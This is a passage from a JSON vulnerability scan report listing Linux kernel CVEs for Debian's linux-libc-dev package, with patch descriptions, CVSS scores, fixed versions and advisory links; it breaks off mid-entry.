"PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31530", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:66b2bb43ebf8d23a279396a68b81091c2ce79e553914ac34db41afe5e9ba3b10", "Title": "kernel: cxl/port: Fix use after free of parent_port in cxl_detach_ep()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncxl/port: Fix use after free of parent_port in cxl_detach_ep()\n\ncxl_detach_ep() is called during bottom-up removal when all CXL memory\ndevices beneath a switch port have been removed. For each port in the\nhierarchy it locks both the port and its parent, removes the endpoint,\nand if the port is now empty, marks it dead and unregisters the port\nby calling delete_switch_port(). There are two places during this work\nwhere the parent_port may be used after freeing:\n\nFirst, a concurrent detach may have already processed a port by the\ntime a second worker finds it via bus_find_device(). Without pinning\nparent_port, it may already be freed when we discover port-\u003edead and\nattempt to unlock the parent_port. In a production kernel that's a\nsilent memory corruption, with lock debug, it looks like this:\n\n[]DEBUG_LOCKS_WARN_ON(__owner_task(owner) != get_current())\n[]WARNING: kernel/locking/mutex.c:949 at __mutex_unlock_slowpath+0x1ee/0x310\n[]Call Trace:\n[]mutex_unlock+0xd/0x20\n[]cxl_detach_ep+0x180/0x400 [cxl_core]\n[]devm_action_release+0x10/0x20\n[]devres_release_all+0xa8/0xe0\n[]device_unbind_cleanup+0xd/0xa0\n[]really_probe+0x1a6/0x3e0\n\nSecond, delete_switch_port() releases three devm actions registered\nagainst parent_port. The last of those is unregister_port() and it\ncalls device_unregister() on the child port, which can cascade. If\nparent_port is now also empty the device core may unregister and free\nit too. So by the time delete_switch_port() returns, parent_port may\nbe free, and the subsequent device_unlock(\u0026parent_port-\u003edev) operates\non freed memory. The kernel log looks same as above, with a different\noffset in cxl_detach_ep().\n\nBoth of these issues stem from the absence of a lifetime guarantee\nbetween a child port and its parent port.\n\nEstablish a lifetime rule for ports: child ports hold a reference to\ntheir parent device until release. Take the reference when the port\nis allocated and drop it when released. This ensures the parent is\nvalid for the full lifetime of the child and eliminates the use after\nfree window in cxl_detach_ep().\n\nThis is easily reproduced with a reload of cxl_acpi in QEMU with CXL\ndevices present.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:53329", "https://access.redhat.com/security/cve/CVE-2026-31530", "https://bugzilla.redhat.com/2460644", "https://bugzilla.redhat.com/2477784", "https://bugzilla.redhat.com/2507213", "https://bugzilla.redhat.com/2507402", "https://bugzilla.redhat.com/show_bug.cgi?id=2460644", "https://bugzilla.redhat.com/show_bug.cgi?id=2477784", "https://bugzilla.redhat.com/show_bug.cgi?id=2507213", "https://bugzilla.redhat.com/show_bug.cgi?id=2507402", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54518", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64531", "https://errata.almalinux.org/9/ALSA-2026-53329.html", "https://errata.rockylinux.org/RLSA-2026:53329", "https://git.kernel.org/linus/19d2f0b97a131198efc2c4ca3eb7f980bba8c2b4%20%287.0-rc6%29", "https://git.kernel.org/stable/c/19d2f0b97a131198efc2c4ca3eb7f980bba8c2b4", "https://git.kernel.org/stable/c/2c32141462045cf93d54a5146a0ba572b83533dd", "https://git.kernel.org/stable/c/b1f62588ab1be6c9535d74348003c86b47ec4abd", "https://git.kernel.org/stable/c/d216a4bd138eb57cc4ae7c43b2f709e3482af7e2", "https://git.kernel.org/stable/c/f7dc6f381a1e5f068333f1faa9265d6af1df4235", "https://linux.oracle.com/cve/CVE-2026-31530.html", "https://linux.oracle.com/errata/ELSA-2026-53329.html", "https://lore.kernel.org/linux-cve-announce/2026042215-CVE-2026-31530-b6f5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31530", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31530" ], "PublishedDate": "2026-04-22T14:16:53.293Z", "LastModifiedDate": "2026-11-05T22:18:38.653Z" }, { "VulnerabilityID": "CVE-2026-31532", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31532", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd4a905a90b693837c940170d6f470671f5fdfc24ac16d42b306a67beacb92d0", "Title": "kernel: can: raw: fix ro-\u003euniq use-after-free in raw_rcv()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncan: raw: fix ro-\u003euniq use-after-free in raw_rcv()\n\nraw_release() unregisters raw CAN receive filters via can_rx_unregister(),\nbut receiver deletion is deferred with call_rcu(). This leaves a window\nwhere raw_rcv() may still be running in an RCU read-side critical section\nafter raw_release() frees ro-\u003euniq, leading to a use-after-free of the\npercpu uniq storage.\n\nMove free_percpu(ro-\u003euniq) out of raw_release() and into a raw-specific\nsocket destructor. can_rx_unregister() takes an extra reference to the\nsocket and only drops it from the RCU callback, so freeing uniq from\nsk_destruct ensures the percpu area is not released until the relevant\ncallbacks have drained.\n\n[mkl: applied manually]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/security/cve/CVE-2026-31532", "https://bugzilla.redhat.com/2394648", "https://bugzilla.redhat.com/2425046", "https://bugzilla.redhat.com/2429602", "https://bugzilla.redhat.com/2432389", "https://bugzilla.redhat.com/2432400", "https://bugzilla.redhat.com/2439852", "https://bugzilla.redhat.com/2439931", "https://bugzilla.redhat.com/2448745", "https://bugzilla.redhat.com/2453803", "https://bugzilla.redhat.com/2454844", "https://bugzilla.redhat.com/2461107", "https://bugzilla.redhat.com/2461521", "https://bugzilla.redhat.com/2467059", "https://bugzilla.redhat.com/2467144", "https://bugzilla.redhat.com/2467771", "https://bugzilla.redhat.com/2477015", "https://bugzilla.redhat.com/2477802", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-19568.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/linus/a535a9217ca3f2fccedaafb2fddb4c48f27d36dc", "https://git.kernel.org/stable/c/1a0f2de81f7fbdc538fc72d7d74609b79bc83cc0", "https://git.kernel.org/stable/c/1de30576a6dfeaaa27ef91fa272e6b9240b6fbd3", "https://git.kernel.org/stable/c/34c1741254ff972e8375faf176678a248826fe3a", "https://git.kernel.org/stable/c/3f43f12fde34737fba091b7e3ab391e14ddbb0be", "https://git.kernel.org/stable/c/572f0bf536ebc14f6e7da3d21a85cf076de8358e", "https://git.kernel.org/stable/c/5e9cfffad898bbeaafd0ea608a6d267362f050fc", "https://git.kernel.org/stable/c/64c8553decf5a5f2417bd54761ea0a832c56c4ca", "https://git.kernel.org/stable/c/7201a531b9a5ed892bfda5ded9194ef622de8ffa", "https://git.kernel.org/stable/c/a535a9217ca3f2fccedaafb2fddb4c48f27d36dc", "https://linux.oracle.com/cve/CVE-2026-31532.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042349-CVE-2026-31532-a820@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31532", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8597-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://www.cve.org/CVERecord?id=CVE-2026-31532" ], "PublishedDate": "2026-04-23T12:17:01.927Z", "LastModifiedDate": "2026-10-19T19:17:59.04Z" }, { "VulnerabilityID": "CVE-2026-31566", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31566", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:885a37f2d355e20380193f861b7bf51ec13e57c92fc9d395ede306f6efd4cc56", "Title": "kernel: drm/amdgpu: Fix fence put before wait in amdgpu_amdkfd_submit_ib", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu: Fix fence put before wait in amdgpu_amdkfd_submit_ib\n\namdgpu_amdkfd_submit_ib() submits a GPU job and gets a fence\nfrom amdgpu_ib_schedule(). This fence is used to wait for job\ncompletion.\n\nCurrently, the code drops the fence reference using dma_fence_put()\nbefore calling dma_fence_wait().\n\nIf dma_fence_put() releases the last reference, the fence may be\nfreed before dma_fence_wait() is called. This can lead to a\nuse-after-free.\n\nFix this by waiting on the fence first and releasing the reference\nonly after dma_fence_wait() completes.\n\nFixes the below:\ndrivers/gpu/drm/amd/amdgpu/amdgpu_amdkfd.c:697 amdgpu_amdkfd_submit_ib() warn: passing freed memory 'f' (line 696)\n\n(cherry picked from commit 8b9e5259adc385b61a6590a13b82ae0ac2bd3482)", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-31566", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/7150850146ebfa4ca998f653f264b8df6f7f85be%20%287.0-rc6%29", "https://git.kernel.org/stable/c/138e42be35ff2ce6572ae744de851ea286cf3c69", "https://git.kernel.org/stable/c/39820864eacd886f1a6f817414fb8f9ea3e9a2b4", "https://git.kernel.org/stable/c/42d248726a0837640452b71c5a202ca3d35239ec", "https://git.kernel.org/stable/c/7150850146ebfa4ca998f653f264b8df6f7f85be", "https://git.kernel.org/stable/c/bc7760c107dc08ef3e231d72c492e67b0a86848b", "https://git.kernel.org/stable/c/e23602eb0779760544314ed3905fa6a89a4e4070", "https://linux.oracle.com/cve/CVE-2026-31566.html", "https://linux.oracle.com/errata/ELSA-2026-71329.html", "https://lore.kernel.org/linux-cve-announce/2026042400-CVE-2026-31566-2d8b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31566", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31566" ], "PublishedDate": "2026-04-24T15:16:31.077Z", "LastModifiedDate": "2026-10-19T19:18:00.113Z" }, { "VulnerabilityID": "CVE-2026-31568", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31568", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bd0b59f8f923883dec8cecf6f1de545e953caaf61984a84c15e383d251908de1", "Title": "kernel: s390/mm: Add missing secure storage access fixups for donated memory", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/mm: Add missing secure storage access fixups for donated memory\n\nThere are special cases where secure storage access exceptions happen\nin a kernel context for pages that don't have the PG_arch_1 bit\nset. That bit is set for non-exported guest secure storage (memory)\nbut is absent on storage donated to the Ultravisor since the kernel\nisn't allowed to export donated pages.\n\nPrior to this patch we would try to export the page by calling\narch_make_folio_accessible() which would instantly return since the\narch bit is absent signifying that the page was already exported and\nno further action is necessary. This leads to secure storage access\nexception loops which can never be resolved.\n\nWith this patch we unconditionally try to export and if that fails we\nfixup.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31568", "https://git.kernel.org/linus/b00be77302d7ec4ad0367bb236494fce7172b730%20%287.0-rc6%29", "https://git.kernel.org/stable/c/1eb35c54cd81cf874ce7d69e3dbfb162f211b8bd", "https://git.kernel.org/stable/c/43ac2d18db1131df0a89993f709131ebfc29f3bd", "https://git.kernel.org/stable/c/48eda93e50f8361dee8e261fe55d0b31714e1e56", "https://git.kernel.org/stable/c/b00be77302d7ec4ad0367bb236494fce7172b730", "https://git.kernel.org/stable/c/b36b0e804aee5f20c6798dbeaeaa7cfdb7c6cf88", "https://lore.kernel.org/linux-cve-announce/2026042401-CVE-2026-31568-cefd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31568", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2026-31568" ], "PublishedDate": "2026-04-24T15:16:31.313Z", "LastModifiedDate": "2026-11-05T22:18:40.66Z" }, { "VulnerabilityID": "CVE-2026-31576", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31576", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dc7689b9af56b3eb169fcae4bbc5c7720b4903e6c2ea56d53a336c7c438128f7", "Title": "kernel: media: hackrf: fix to not free memory after the device is registered in hackrf_probe()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: hackrf: fix to not free memory after the device is registered in hackrf_probe()\n\nIn hackrf driver, the following race condition occurs:\n```\n\t\tCPU0\t\t\t\t\t\tCPU1\nhackrf_probe()\n kzalloc(); // alloc hackrf_dev\n ....\n v4l2_device_register();\n 